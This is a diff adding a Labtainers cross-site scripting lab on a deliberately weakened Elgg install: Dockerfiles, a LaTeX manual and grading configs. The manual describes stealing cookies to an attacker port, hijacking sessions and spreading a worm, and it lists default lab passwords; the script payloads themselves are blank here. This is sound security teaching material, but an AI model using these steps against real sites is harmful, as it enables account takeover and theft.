b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xsite/dockerfiles/Dockerfile.xsite.attacker.student @@ -0,0 +1,59 @@ +# +# Labtainer Dockerfile +# +# This is the default Labtainer Dockerfile template, plesae choose the appropriate +# base image below. +# +# The labtainer.base image includes the following packages: +# build-essential expect file gcc-multilib gdb iputils-ping less man manpages-dev +# net-tools openssh-client python sudo tcl8.6 vim zip hexedit rsyslog +# +# The labtainer.network image adds the following packages: +# openssl openssh-server openvpn wget tcpdump update-inetd xinetd +# +ARG registry +FROM $registry/labtainer.java +# +# lab is the fully qualified image name, e.g., mylab.some_container.student +# labdir is the name of the lab, e.g., mylab +# imagedir is the name of the container +# user_name is the USER from the start.config, if other than ubuntu, +# then that user must be added in this dockerfile +# before the USER command +# +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ARG password +ARG apt_source +# +# Install the system files found in the _system directory +# +ADD $labdir/$imagedir/sys_tar/sys.tar / +ADD $labdir/sys_$lab.tar.gz / +# +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$password" | chpasswd +RUN adduser $user_name sudo +# replace above with below for centos/fedora +#RUN usermod $user_name -a -G wheel + +# +# **** Perform all root operations, e.g., **** +# **** "apt-get install" prior to the USER command. **** +# +USER $user_name +ENV HOME /home/$user_name +# +# Install files in the user home directory +# +ADD $labdir/$imagedir/home_tar/home.tar $HOME +# remove after docker fixes problem with empty tars +RUN rm -f $HOME/home.tar +ADD $labdir/$lab.tar.gz $HOME +# +# The first thing that executes on the container. +# +USER root +CMD ["/bin/bash", "-c", "exec /sbin/init --log-target=journal 3>&1"] diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xsite/dockerfiles/Dockerfile.xsite.victim.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xsite/dockerfiles/Dockerfile.xsite.victim.student new file mode 100644 index 000000000..997142060 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xsite/dockerfiles/Dockerfile.xsite.victim.student @@ -0,0 +1,60 @@ +# +# Labtainer Dockerfile +# +# This is the default Labtainer Dockerfile template, plesae choose the appropriate +# base image below. +# +# The labtainer.base image includes the following packages: +# build-essential expect file gcc-multilib gdb iputils-ping less man manpages-dev +# net-tools openssh-client python sudo tcl8.6 vim zip hexedit rsyslog +# +# The labtainer.network image adds the following packages: +# openssl openssh-server openvpn wget tcpdump update-inetd xinetd +# +ARG registry +FROM $registry/labtainer.firefox +# +# lab is the fully qualified image name, e.g., mylab.some_container.student +# labdir is the name of the lab, e.g., mylab +# imagedir is the name of the container +# user_name is the USER from the start.config, if other than ubuntu, +# then that user must be added in this dockerfile +# before the USER command +# +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ARG password +ARG apt_source +# +# Install the system files found in the _system directory +# +ADD $labdir/$imagedir/sys_tar/sys.tar / +ADD $labdir/sys_$lab.tar.gz / +# +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$password" | chpasswd +RUN adduser $user_name sudo +# replace above with below for centos/fedora +#RUN usermod $user_name -a -G wheel + + +# +# **** Perform all root operations, e.g., **** +# **** "apt-get install" prior to the USER command. **** +# +USER $user_name +ENV HOME /home/$user_name +# +# Install files in the user home directory +# +ADD $labdir/$imagedir/home_tar/home.tar $HOME +# remove after docker fixes problem with empty tars +RUN rm -f $HOME/home.tar +ADD $labdir/$lab.tar.gz $HOME +# +# The first thing that executes on the container. +# +USER root +CMD ["/bin/bash", "-c", "exec /sbin/init --log-target=journal 3>&1"] diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xsite/dockerfiles/Dockerfile.xsite.vuln-site.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xsite/dockerfiles/Dockerfile.xsite.vuln-site.student new file mode 100644 index 000000000..dbac52d8c --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xsite/dockerfiles/Dockerfile.xsite.vuln-site.student @@ -0,0 +1,66 @@ +# +# Labtainer Dockerfile +# +# This is the default Labtainer Dockerfile template, plesae choose the appropriate +# base image below. +# +# The labtainer.base image includes the following packages: +# build-essential expect file gcc-multilib gdb iputils-ping less man manpages-dev +# net-tools openssh-client python sudo tcl8.6 vim zip hexedit rsyslog +# +# The labtainer.network image adds the following packages: +# openssl openssh-server openvpn wget tcpdump update-inetd xinetd +# +ARG registry +FROM $registry/labtainer.lamp.xtra +# +# lab is the fully qualified image name, e.g., mylab.some_container.student +# labdir is the name of the lab, e.g., mylab +# imagedir is the name of the container +# user_name is the USER from the start.config, if other than ubuntu, +# then that user must be added in this dockerfile +# before the USER command +# +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ARG password +ARG apt_source +# +# Install the system files found in the _system directory +# +ADD $labdir/$imagedir/sys_tar/sys.tar / +ADD $labdir/sys_$lab.tar.gz / +# +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$password" | chpasswd +#RUN adduser $user_name sudo +# replace above with below for centos/fedora +RUN usermod $user_name -a -G wheel +RUN echo "IncludeOptional sites-enabled/*.conf" >>/etc/httpd/conf/httpd.conf + +# +# **** Perform all root operations, e.g., **** +# **** "apt-get install" prior to the USER command. **** +# +USER $user_name +ENV HOME /home/$user_name +# +# Install files in the user home directory +# +ADD $labdir/$imagedir/home_tar/home.tar $HOME +# remove after docker fixes problem with empty tars +RUN rm -f $HOME/home.tar +ADD $labdir/$lab.tar.gz $HOME +# +# The first thing that executes on the container. +# +USER root +RUN chown apache:apache -R /var/www/xsslabelgg.com/ +CMD ["/usr/sbin/init"] +# replace below with two above for centos +#ENTRYPOINT sudo /sbin/faux_init && bash +# +# DO NOT add below this line. +# diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xsite/docs/Makefile b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xsite/docs/Makefile new file mode 100644 index 000000000..064a23c84 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xsite/docs/Makefile @@ -0,0 +1,8 @@ +xsite.pdf: Web_XSS_Elgg.tex Web_Environment_PartI_Elgg.tex header.tex + latex Web_XSS_Elgg + pdflatex -jobname=xsite Web_XSS_Elgg + pdflatex -jobname=xsite Web_XSS_Elgg + +clean: + rm -fr auto + rm -f Web_XSS_Elgg.aux Web_XSS_Elgg.log Web_XSS_Elgg.pdf diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xsite/docs/Web_Environment_PartI_Elgg.tex b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xsite/docs/Web_Environment_PartI_Elgg.tex new file mode 100644 index 000000000..6afe3787f --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xsite/docs/Web_Environment_PartI_Elgg.tex @@ -0,0 +1,64 @@ +%\section{Lab Environment} + +This lab runs in the Labtainer framework, +available at http://my.nps.edu/web/c3o/labtainers. +That site includes links to a pre-built virtual machine +that has Labtainers installed, however Labtainers can +be run on any Linux host that supports Docker containers. + +From your labtainer-student directory start the lab using: +\begin{verbatim} + labtainer xsite +\end{verbatim} +Links to this lab manual and to an empty lab report will be displayed. If you create your lab report on a separate system, +be sure to copy it back to the specified location on your Linux system. + +\subsection{Environment Configuration} +This lab includes three networked computers as shown in +Figure~\ref{fig:topology}. +The "vuln-site" runs the Apache web server and the {\tt Elgg} web +applications. The "attacker" and "victim" computers each include +the Firefox browser. Use the browser {\tt Web Developer} / {\tt Network} +tool (upper right menu), to +inspect the HTTP requests and responses. + +\begin{figure}[htb] +\begin{center} +\includegraphics [width=0.8\textwidth,natwidth=621,natheight=403]{xsite.jpg} +\end{center} +\caption{Cross site scripting lab topology} +\label{fig:topology} +\end{figure} + +\paragraph{Starting the Apache Server.} +The Apache web server will be running when the lab +commences. If you need to restart the web server, use +the following command: +\begin{verbatim} + % sudo systemctl restart httpd +\end{verbatim} + +\paragraph{The {\tt Elgg} Web Application.} +We use an open-source web application called {\tt Elgg} in this lab. +{\tt Elgg} is a web-based social-networking application. +It is already set up in on the vuln-site. +We have also created several user accounts on the {\tt Elgg} server and the credentials are given below. + + +\vspace{0.1in} +\begin{tabular}{|l|l|l|} +\hline +User & UserName & Password\\ +\hline +Admin & admin & seedelgg \\ +Alice & alice & seedalice \\ +Boby & boby & seedboby \\ +Charlie & charlie & seedcharlie \\ +Samy & samy & seedsamy \\ +\hline +\end{tabular} +\vspace{0.1in} + + +\paragraph{Configuring DNS.} +We have configured the following \urlorurls needed for this lab: diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xsite/docs/Web_XSS_Elgg.tex b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xsite/docs/Web_XSS_Elgg.tex new file mode 100644 index 000000000..4fd0d316d --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xsite/docs/Web_XSS_Elgg.tex @@ -0,0 +1,385 @@ +\input{header} + +\lhead{\bfseries SEED Labs -- Cross-Site Scripting Attack Lab} + +\begin{document} + +\begin{center} +{\LARGE Cross-Site Scripting (XSS) Attack Lab} +\vspace{0.1in}\\ +{\Large (Web Application: Elgg)} +\end{center} +\copyrightnotice + +\section{Overview} + +Cross-site scripting (XSS) is a type of vulnerability commonly found +in web applications. This vulnerability makes it possible for +attackers to inject malicious code (e.g. JavaScript programs) into victim's +web browser. Using this malicious code, the attackers can steal the +victim's credentials, such as session cookies. The access control +policies~(i.e., the same origin policy) employed by browsers to protect +those credentials can be bypassed by exploiting the XSS vulnerability. +Vulnerabilities of this kind can potentially lead to large-scale +attacks. + +To demonstrate what attackers can do by exploiting XSS +vulnerabilities, we have set up a web application named +{\tt Elgg} in a web server within this lab. +{\tt Elgg} is a very popular open-source web application for +social network, and it has implemented a number of countermeasures +to remedy the XSS threat. To demonstrate how XSS attacks work, we +have commented out these countermeasures in Elgg in our installation, +intentionally making Elgg vulnerable to XSS attacks. +Without the countermeasures, users +can post any arbitrary message, including JavaScript +programs, to the user profiles. +In this lab, students need to exploit this vulnerability to +launch an XSS attack on the modified {\tt Elgg}, in a way that is +similar to what Samy Kamkar +did to {\tt MySpace} in 2005 through the notorious Samy worm. +The ultimate goal of this attack is to spread an XSS worm among the users, +such that whoever views an infected user profile will be infected, +and whoever is infected will add you (i.e., the attacker) to +his/her friend list. + + + +\section{Lab Environment} + +\newcommand{\urlorurls}{URL } +\newcommand{\urlisorurlsare}{URL is } + + +%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% +%%% Part I of the environment setup +\input{Web_Environment_PartI_Elgg} +%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% + + +\vspace{0.1in} +\begin{tabular}{|l|l|l|} +\hline +URL & Description & Directory\\ +\hline +\url{http://www.xsslabelgg.com} & Elgg & {\tt +/var/www/XSS/Elgg/} \\ +\hline +\end{tabular} +\vspace{0.1in} + + + + +\paragraph{Other software.} +Some of the lab tasks require some basic familiarity with +JavaScript. Wherever necessary, we provide a sample JavaScript program +to help the students get started. To complete task 3, students may +need a utility to watch incoming requests on a particular TCP port. The +home directory on the attacker computer contains an "echoserver" directory having +C program that can be configured to listen on a particular +port and display incoming messages. + +Task 4 requires modifications to, compilation and execution of a Java program +on the attacker computer. This program is in the HTTPSimpleForge directory +on the attacker computer, and that computer includes a JDK for compiling java. + + +\subsection{Note for Instructors} + +This lab may be conducted in a +supervised lab environment. In such a case, the instructor may provide +the following background information to the students prior to doing +the lab: +\begin{enumerate} + \item A brief overview of the tasks. + \item How to use the virtual machine, Firefox web browser, and the + {\tt Web Developer / Network} tools. + \item Basics of JavaScript and Ajax. + \item How to use the C program that listens on a port. + \item How to write a Java program to send HTTP GET messages. +\end{enumerate} + +\section{Lab Tasks} + +\subsection{Task 1: Posting a Malicious Message to Display an Alert Window} + +The objective of this task is to embed a JavaScript program in your +{\tt Elgg} profile, such that when another user views your profile, +the JavaScript program will be executed and an alert window +will be displayed. The following JavaScript program will display an alert window: +\begin{Verbatim} + +\end{Verbatim} +If you embed the above JavaScript code in your profile (e.g. in the brief +description field), then any user who views your profile will see the alert window. + +In this case, the JavaScript code is short enough to be typed into the +short description field. If you want to run a long JavaScript, but you are limited +by the number of characters you can type in the form, you can store the +JavaScript program in a standalone file, save it with the .js extension, and +then refer to it using the {\tt src} attribute in the {\tt +\end{Verbatim} +In the above example, the page will fetch the JavaScript program from +\url{http://www.example.com}, which can be any web server. + + +\subsection{Task 2: Posting a Malicious Message to Display Cookies} + +The objective of this task is to embed a JavaScript program in your +{\tt Elgg} profile, such that when another user views your profile, +the user's cookies will be displayed in the alert window. +This can be done by adding some additional code to +the JavaScript program in the previous task: + +\begin{Verbatim} + +\end{Verbatim} + + +\subsection{Task 3: Stealing Cookies from the Victim's Machine} + +In the previous task, the malicious JavaScript code written by +the attacker can print out the +user's cookies, but only the user can see the cookies, not the +attacker. In this task, the attacker wants the JavaScript code +to send the cookies to himself/herself. +To achieve this, the malicious JavaScript code needs to +send an HTTP request to the attacker, with the cookies appended to +the request. + +We can do this by having the malicious JavaScript insert an {\tt $<$img$>$} tag with +its {\tt src} attribute set to the attacker's machine. When the JavaScript inserts +the {\tt img} tag, the browser tries to load the image from the URL in +the {\tt src} field; this results in an HTTP GET request sent to the attacker's +machine. The +JavaScript given below sends the cookies to the port 5555 of the +attacker's machine, where the attacker has a TCP server listening +to the same port. The server can print out whatever it receives. +The TCP server program is in the echoserver directory on the attacker computer. +Note that in the output, the {\tt =} character gets transformed to {\tt \%3D}. + +{\footnotesize +\begin{Verbatim}[frame=single] + +\end{Verbatim} +} + +\subsection{Task 4: Session Hijacking using the Stolen Cookies} + +After stealing the victim's cookies, the attacker can do whatever the victim +can do to the {\tt Elgg} web server, including adding and deleting friends +on behalf of the victim, deleting the victim's post, etc. Essentially, +the attacker has hijacked the victim's session. +In this task, we will launch this session hijacking attack, and +write a program to add a friend on behalf of the victim. +The attack should be launched from another virtual machine. + + +To add a friend for the victim, we should first find out how a legitimate +user adds a friend in {\tt Elgg}. +More specifically, we need to figure out what are sent to the server when a user +adds a friend. Firefox's {\tt Web Developer / Network} tool can help us; it +can display the contents of any HTTP request message sent +from the browser. From the contents, we can identify all +the parameters in the request. A screen shot of sample HTTP headers is given in +Figure~\ref{fig:livehttptext}. This header information is gathered using +the Firefox {\tt Web Developer / Network} tools +in the victim's browser. + +Once we have understood what the HTTP request for adding friends look like, +we can write a Java program to send out the +same HTTP request. The {\tt Elgg} server cannot distinguish whether +the request is sent out by the victim's browser or by the attacker's +Java program. As long as we set all the parameters correctly, +and the session cookie is attached, the server will accept and process the +project-posting HTTP request. +To simplify your task, the HTTPSimpleForge directory on the attacker computer +contains a sample Java program that does the +following: + +\begin{enumerate} +\item Open a connection to web server. +\item Set the necessary HTTP header information. +\item Send the request to web server. +\item Get the response from web server. +\end{enumerate} + +Note you are permitted to hand-code cookie values (obtained using +the technique in Task 3) into this program. In practice, such +a program would read the cookie value off of the network as was +done in Task 3. + +If you have trouble understanding the sample Java program, +we suggest you to read the following: + +\begin{itemize} +\item JDK 8 Documentation: \url{https://docs.oracle.com/javase/8/docs/api/} +\item Java Protocol Handler:\\ +\url{http://java.sun.com/developer/onlineTraining/protocolhandlers/} +\end{itemize} + +\paragraph{Note 1:} {\tt Elgg} uses two parameters {\tt \_\_elgg\_ts} and +{\tt \_\_elgg\_token} as a countermeasure to defeat another related +attack~(Cross Site Request Forgery). Make sure that you set these +parameters correctly for your attack to succeed. + +\paragraph{Note 2:} Compile and run the java program using + +\begin{Verbatim} +javac HTTPSimpleForge.java +java HTTPSimpleForge +\end{Verbatim} + + +\subsection{Task 5: Countermeasures} + +{\tt Elgg} does have a built in countermeasures to defend against the XSS attack. +We have deactivated and commented out the countermeasures to make the +attack work. +There is a custom built security plugin {\tt HTMLawed 1.8} on the Elgg web +application which on activated, validates the user input and removes the +tags from the input. This specific plugin is registered to the +{\tt “function filter\_tags”} in the \url{elgg/engine/lib/input.php} file. + + +To turn on the countermeasure, login to the application as admin, goto +{\tt administration} (on top menu) $\rightarrow$ {\tt plugins} (on the right panel), +andSelect {\tt security and spam} in the dropdown menu and click {\tt +filter}. You should find the {\tt HTMLawed 1.8} plugin below. +Click on {\tt Activate} to enable the countermeasure. + + +In addition to the {\tt HTMLawed 1.8} security plugin in {\tt Elgg}, there is another +built-in PHP method called {\tt “htmlspecialchars()”}, which is used to encode the special +characters in the user input, such as encoding {\tt "<"} to {\tt “\<”}, +{\tt ">"} to {\tt “\>”}, etc. Please go to +the directory \url{elgg/views/default/output} and find the function call +{\tt “htmlspecialchars”} in {\tt text.php}, {\tt tagcloud.php}, {\tt +tags.php}, {\tt access.php}, {\tt tag.php}, {\tt friendlytime.php}, +{\tt url.php}, {\tt dropdown.php}, {\tt email.php} and +{\tt confirmlink.php} files. Uncomment the corresponding +{\tt "htmlspecialchars"} function calls in each file. + + +Once you know how to turn on these countermeasures, please do the +following: +\begin{enumerate} + +\item Activate only the {\tt HTMLawed 1.8} countermeasure but not {\tt +htmlspecialchars}; visit any of the victim profiles and describe your +observations in your report. + +\item Turn on both countermeasures; visit any of the victim profiles and +describe your observation in your report. + + +%\item Please read the article~\cite{samy} by the author +%of the Samy Worm and see how he bypassed the similar +%countermeasures initially implemented in {\tt MySpace}. +%Please try his approaches and see whether you can defeat the +%{\tt Elgg}'s countermeasures. + +\end{enumerate} + + +\paragraph{Note:} Please do not change any other code and make sure that there are no syntax +errors. + + + + +\section{Submission} +You need to submit a detailed lab report to describe what you have +done and what you have observed. Please provide details using +{\tt LiveHTTPHeaders}, and/or screenshots. +You also need to provide explanation +to the observations that are interesting or surprising. +If you edited your lab report on a separate system, copy it back to the Linux system at the location +identified when you started the lab, and do this before running the stoplab command. + +After finishing the lab, go to the terminal on your Linux system that was used to start the lab and type: +\begin{verbatim} +stoplab xsite +\end{verbatim} +When you stop the lab, the system will display a path to the zipped lab results on your Linux system. Provide that file to +your instructor, e.g., via the Sakai site. + + + + + +\begin{thebibliography}{10} + +\bibitem{ajaxnoobs} +\newblock AJAX for n00bs. Available at {\footnotesize \url{http://www.hunlock.com/blogs/AJAX_for_n00bs}}. + +\bibitem{ajaxpostit} +\newblock AJAX POST-It Notes. +\newblock Available at {\footnotesize \url{http://www.hunlock.com/blogs/AJAX_POST-It_Notes}}. + +\bibitem{javascripttutorial} +\newblock Essential Javascript -- A Javascript Tutorial. +\newblock Available at the following URL:\\ +{\footnotesize \url{http://www.hunlock.com/blogs/Essential_Javascript_--_A_Javascript_Tutorial}}. + +\bibitem{Javascriptstring} +\newblock The Complete Javascript Strings Reference. +\newblock Available at the following URL:\\ +{\footnotesize \url{http://www.hunlock.com/blogs/The_Complete_Javascript_Strings_Reference}}. + +\bibitem{samy} +\newblock Technical explanation of the MySpace Worm. +\newblock Available at the following URL: \url{http://namb.la/popular/tech.html}. + +\bibitem{elgg} +\newblock Elgg Documentation. Available at URL: \url{http://docs.elgg.org/wiki/Main_Page}. + +\end{thebibliography} + + +\begin{figure}[b] +{\footnotesize +\begin{Verbatim}[frame=single] +http://www.xsslabelgg.com/action/friends/add?friend=40&__elgg_ts=1402467511 + &__elgg_token=80923e114f5d6c5606b7efaa389213b3 + +GET /action/friends/add?friend=40&__elgg_ts=1402467511 + &__elgg_token=80923e114f5d6c5606b7efaa389213b3 +HTTP/1.1 +Host: www.xsslabelgg.com +User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:23.0) Gecko/20100101 +Firefox/23.0 +Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 +Accept-Language: en-US,en;q=0.5 +Accept-Encoding: gzip, deflate +Referer: http://www.xsslabelgg.com/profile/elgguser2 +Cookie: Elgg=7pgvml3vh04m9k99qj5r7ceho4 +Connection: keep-alive + +HTTP/1.1 302 Found +Date: Wed, 11 Jun 2014 06:19:28 GMT +Server: Apache/2.2.22 (Ubuntu) +X-Powered-By: PHP/5.3.10-1ubuntu3.11 +Expires: Thu, 19 Nov 1981 08:52:00 GMT +Cache-Control: no-store, no-cache, must-revalidate, post-check=0, +pre-check=0 +Pragma: no-cache +Location: http://www.xsslabelgg.com/profile/elgguser2 +Content-Length: 0 +Keep-Alive: timeout=5, max=100 +Connection: Keep-Alive +Content-Type: text/html +\end{Verbatim} +} +\caption{Sample of HTTP Header for Adding a Friend} +\label{fig:livehttptext} +\end{figure} +\end{document} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xsite/docs/header.tex b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xsite/docs/header.tex new file mode 100644 index 000000000..93442d774 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xsite/docs/header.tex @@ -0,0 +1,195 @@ +\documentclass[11pt]{article} + +\usepackage{times} +\usepackage{epsf} +\usepackage{epsfig} +\usepackage{amsmath, alltt, amssymb, xspace} +\usepackage{wrapfig} +\usepackage{fancyhdr} +\usepackage{url} +\usepackage{upquote} +\usepackage{verbatim} +\usepackage{fancyvrb} +\usepackage{graphicx} + +\usepackage{subfigure} +\usepackage{cite} +\usepackage{hyperref} +\hypersetup{% + pdfborder = {0 0 0} +} +%\usepackage{cases} +%\usepackage{ltexpprt} +%\usepackage{verbatim} + +%\topmargin -0.70in % distance to headers +%\headheight 0.2in % height of header box +%\headsep 0.4in % distance to top line +%\footskip 0.3in % distance from bottom line + +% Horizontal alignment +\topmargin -0.50in % distance to headers +\oddsidemargin 0.0in +\evensidemargin 0.0in +\textwidth 6.5in +\textheight 8.9in + + +%\centerfigcaptionstrue + +%\def\baselinestretch{0.95} + + +\newcommand\discuss[1]{\{\textbf{Discuss:} \textit{#1}\}} +%\newcommand\todo[1]{\vspace{0.1in}\{\textbf{Todo:} \textit{#1}\}\vspace{0.1in}} +\newtheorem{problem}{Problem}[section] +%\newtheorem{theorem}{Theorem} +%\newtheorem{fact}{Fact} +\newtheorem{define}{Definition}[section] +%\newtheorem{analysis}{Analysis} +\newcommand\vspacenoindent{\vspace{0.1in} \noindent} + +%\newenvironment{proof}{\noindent {\bf Proof}.}{\hspace*{\fill}~\mbox{\rule[0pt]{1.3ex}{1.3ex}}} +%\newcommand\todo[1]{\vspace{0.1in}\{\textbf{Todo:} \textit{#1}\}\vspace{0.1in}} + +%\newcommand\reducespace{\vspace{-0.1in}} +% reduce the space between lines +%\def\baselinestretch{0.95} + +\newcommand{\fixmefn}[1]{ \footnote{\sf\ \ \fbox{FIXME} #1} } +\newcommand{\todo}[1]{ +\vspace{0.1in} +\fbox{\parbox{6in}{TODO: #1}} +\vspace{0.1in} +} + +\newcommand{\mybox}[1]{ +\vspace{0.2in} +\noindent +\fbox{\parbox{6.5in}{#1}} +\vspace{0.1in} +} + + +\newcounter{question} +\setcounter{question}{1} + +\newcommand{\myquestion} {{\vspace{0.1in} \noindent \bf Question \arabic{question}:} \addtocounter{question}{1} \,} + +\newcommand{\myproblem} {{\noindent \bf Problem \arabic{question}:} \addtocounter{question}{1} \,} + + + +\newcommand{\copyrightnotice}[1]{ +\vspace{0.1in} +\fbox{\parbox{6in}{\small Copyright \copyright\ 2014\ \ Wenliang Du, Syracuse University.\\ + The development of this document is/was funded by the following grants from + the US National Science Foundation: No. 1303306 and 1318814. + This lab was imported into the Labtainer framework by the Naval Postgraduate + School, Center for Cybersecurity and Cyber Operations under National Science + Foundation Award No. 1438893. + Permission is granted to copy, distribute and/or modify this document + under the terms of the GNU Free Documentation License, Version 1.2 + or any later version published by the Free Software Foundation. + A copy of the license can be found at http://www.gnu.org/licenses/fdl.html.}} +\vspace{0.1in} +} + +\newcommand{\copyrightnoticeA}[1]{ +\vspace{0.1in} +\fbox{\parbox{6in}{\small Copyright \copyright\ 2006\ \ Wenliang Du, Syracuse University.\\ + The development of this document was partially funded by + the National Science Foundation's Course, Curriculum, and Laboratory + Improvement (CCLI) program under Award No. 0618680 and 0231122. + Permission is granted to copy, distribute and/or modify this document + under the terms of the GNU Free Documentation License, Version 1.2 + or any later version published by the Free Software Foundation. + A copy of the license can be found at http://www.gnu.org/licenses/fdl.html.}} +\vspace{0.1in} +} + + +\newcommand{\nocopyrightnotice}[1]{ +\vspace{0.1in} +\fbox{\parbox{6in}{\small + The development of this document is funded by + the National Science Foundation's Course, Curriculum, and Laboratory + Improvement (CCLI) program under Award No. 0618680 and 0231122. + Permission is granted to copy, distribute and/or modify this document. + }} +\vspace{0.1in} +} + +\newcommand{\idea}[1]{ +\vspace{0.1in} +{\sf IDEA:\ \ \fbox{\parbox{5in}{#1}}} +\vspace{0.1in} +} + +\newcommand{\questionblock}[1]{ +\vspace{0.1in} +\fbox{\parbox{6in}{#1}} +\vspace{0.1in} +} + + +\newcommand{\minix}{{\tt Minix}\xspace} +\newcommand{\unix}{{\tt Unix}\xspace} +\newcommand{\linux}{{\tt Linux}\xspace} +\newcommand{\ubuntu}{{\tt Ubuntu}\xspace} +\newcommand{\selinux}{{\tt SELinux}\xspace} +\newcommand{\freebsd}{{\tt FreeBSD}\xspace} +\newcommand{\solaris}{{\tt Solaris}\xspace} +\newcommand{\windowsnt}{{\tt Windows NT}\xspace} +\newcommand{\setuid}{{\tt Set-UID}\xspace} +%\newcommand{\smx}{{\tt Smx}\xspace} +\newcommand{\smx}{{\tt Minix}\xspace} +\newcommand{\relay}{{\tt relay}\xspace} +\newcommand{\isys}{{\tt iSYS}\xspace} +\newcommand{\ilan}{{\tt iLAN}\xspace} +\newcommand{\iSYS}{{\tt iSYS}\xspace} +\newcommand{\iLAN}{{\tt iLAN}\xspace} +\newcommand{\iLANs}{{\tt iLAN}s\xspace} +\newcommand{\bochs}{{\tt Bochs}\xspace} + +\newcommand\FF{{\mathcal{F}}} + +\newcommand{\argmax}[1]{ +\begin{minipage}[t]{1.25cm}\parskip-1ex\begin{center} +argmax +#1 +\end{center}\end{minipage} +\; +} + +\newcommand{\bm}{\boldmath} +\newcommand {\bx} {\mbox{\boldmath $x$}} +\newcommand {\by} {\mbox{\boldmath $y$}} +\newcommand {\br} {\mbox{\boldmath $r$}} + + +%\pagestyle{fancyplain} +%\lhead[\thepage]{\thesection} % Note the different brackets! +%\rhead[\thesection]{SEED Laboratories} +%\lfoot[\fancyplain{}{}]{Syracuse University} +%\cfoot[\fancyplain{}{}]{\thepage} + +\newcommand{\tstamp}{\today} +%\lhead[\fancyplain{}{\thepage}] {\fancyplain{}{\rightmark}} +%\chead[\fancyplain{}{}] {\fancyplain{}{}} +%\rhead[\fancyplain{}{\rightmark}] {\fancyplain{}{\thepage}} +%\lfoot[\fancyplain{}{}] {\fancyplain{\tstamp}{\tstamp}} +%\cfoot[\fancyplain{\thepage}{}] {\fancyplain{\thepage}{}} +%\rfoot[\fancyplain{\tstamp} {\tstamp}] {\fancyplain{}{}} + +\pagestyle{fancy} +%\lhead{\bfseries Computer Security Course Project} +\lhead{\bfseries SEED Labs} +\chead{} +\rhead{\small \thepage} +\lfoot{} +\cfoot{} +\rfoot{} + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xsite/docs/read_first.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xsite/docs/read_first.txt new file mode 100644 index 000000000..bc37eec27 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xsite/docs/read_first.txt @@ -0,0 +1,8 @@ +The lab manual is at + file://LAB_DOCS/xsite.pdf +A lab report template is at + file://LAB_DOCS/xsite-report.docx + +You may open these by right clicking +and select "Open Link". + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xsite/docs/xsite-report.docx b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xsite/docs/xsite-report.docx new file mode 100644 index 000000000..e02abfc9b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xsite/docs/xsite-report.docx @@ -0,0 +1 @@ + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xsite/docs/xsite.jpg b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xsite/docs/xsite.jpg new file mode 100755 index 000000000..fea5c980b Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xsite/docs/xsite.jpg differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xsite/instr_config/goals.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xsite/instr_config/goals.config new file mode 100644 index 000000000..4ffc813d7 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xsite/instr_config/goals.config @@ -0,0 +1,5 @@ +# goals.config +# +# Please see the Labtainer Lab Designer User Guide +# see results.config +#DOC: No automated assessment for this lab diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xsite/instr_config/instructions.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xsite/instr_config/instructions.txt new file mode 100644 index 000000000..667cd20ad --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xsite/instr_config/instructions.txt @@ -0,0 +1 @@ +Lab-specific instructor notes. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xsite/instr_config/results.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xsite/instr_config/results.config new file mode 100644 index 000000000..851bcf178 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xsite/instr_config/results.config @@ -0,0 +1,4 @@ +# results.config +# +# Please see the Labtainer Lab Designer User Guide +stole_cookie = attacker:echoserv.stdout : CONTAINS : GET /?c=Elgg diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xsite/victim/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xsite/victim/_bin/fixlocal.sh new file mode 100755 index 000000000..6b022e130 --- /dev/null +++ 